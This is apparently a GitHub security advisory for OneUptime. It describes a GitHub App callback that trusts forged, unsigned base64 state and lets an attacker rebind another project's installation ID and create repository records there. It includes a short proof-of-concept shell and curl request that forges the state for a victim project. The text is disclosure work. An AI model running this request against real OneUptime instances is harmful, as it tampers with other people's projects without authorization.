Summary
OneUptime's GitHub App callback trusts attacker-controlled state and installation_id values and updates Project.gitHubAppInstallationId with isRoot: true without validating that the caller is authorized for the target project. This allows an attacker to overwrite another project's GitHub App installation binding.
Related GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create CodeRepository records in an arbitrary project.
Details
The callback decodes unsigned base64 JSON from state and uses the embedded projectId directly:
It then writes the supplied installation_id into the target project with root privileges:
await ProjectService.updateOneById({
id: new ObjectID(projectId),
data: { gitHubAppInstallationId: installationId },
props: { isRoot: true },
});The userId in state is only checked for presence, not authenticity:
The install flow also generates state as plain base64 JSON, not a signed or session-bound token:
The follow-on endpoints are also vulnerable:
PoC
Minimal proof of unauthorized project tampering:
STATE=$(printf '%s' '{"projectId":"<victim-project-uuid>","userId":"x"}' | base64 | tr -d '\n')
curl -isk "https://<host>/api/github/auth/callback?installation_id=999999999&state=${STATE}"Expected result:
- Server returns a
302 redirect to /dashboard/<victim-project-uuid>/code-repository?installation_id=999999999
- The target project's
gitHubAppInstallationId is overwritten
Impact
- Unauthorized modification of
Project.gitHubAppInstallationId
- Temporary GitHub integration breakage if a bogus installation ID is set
- Cross-project binding of attacker-controlled GitHub App installations
- Repository metadata disclosure for a supplied valid installation ID
- Unauthorized creation of
CodeRepository records in arbitrary projects
References
maru1009 Reporter
Summary
OneUptime's GitHub App callback trusts attacker-controlled
stateandinstallation_idvalues and updatesProject.gitHubAppInstallationIdwithisRoot: truewithout validating that the caller is authorized for the target project. This allows an attacker to overwrite another project's GitHub App installation binding.Related GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create
CodeRepositoryrecords in an arbitrary project.Details
The callback decodes unsigned base64 JSON from
stateand uses the embeddedprojectIddirectly:It then writes the supplied
installation_idinto the target project with root privileges:The
userIdinstateis only checked for presence, not authenticity:The install flow also generates
stateas plain base64 JSON, not a signed or session-bound token:The follow-on endpoints are also vulnerable:
Public: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211PoC
Minimal proof of unauthorized project tampering:
Expected result:
302redirect to/dashboard/<victim-project-uuid>/code-repository?installation_id=999999999gitHubAppInstallationIdis overwrittenImpact
Project.gitHubAppInstallationIdCodeRepositoryrecords in arbitrary projectsReferences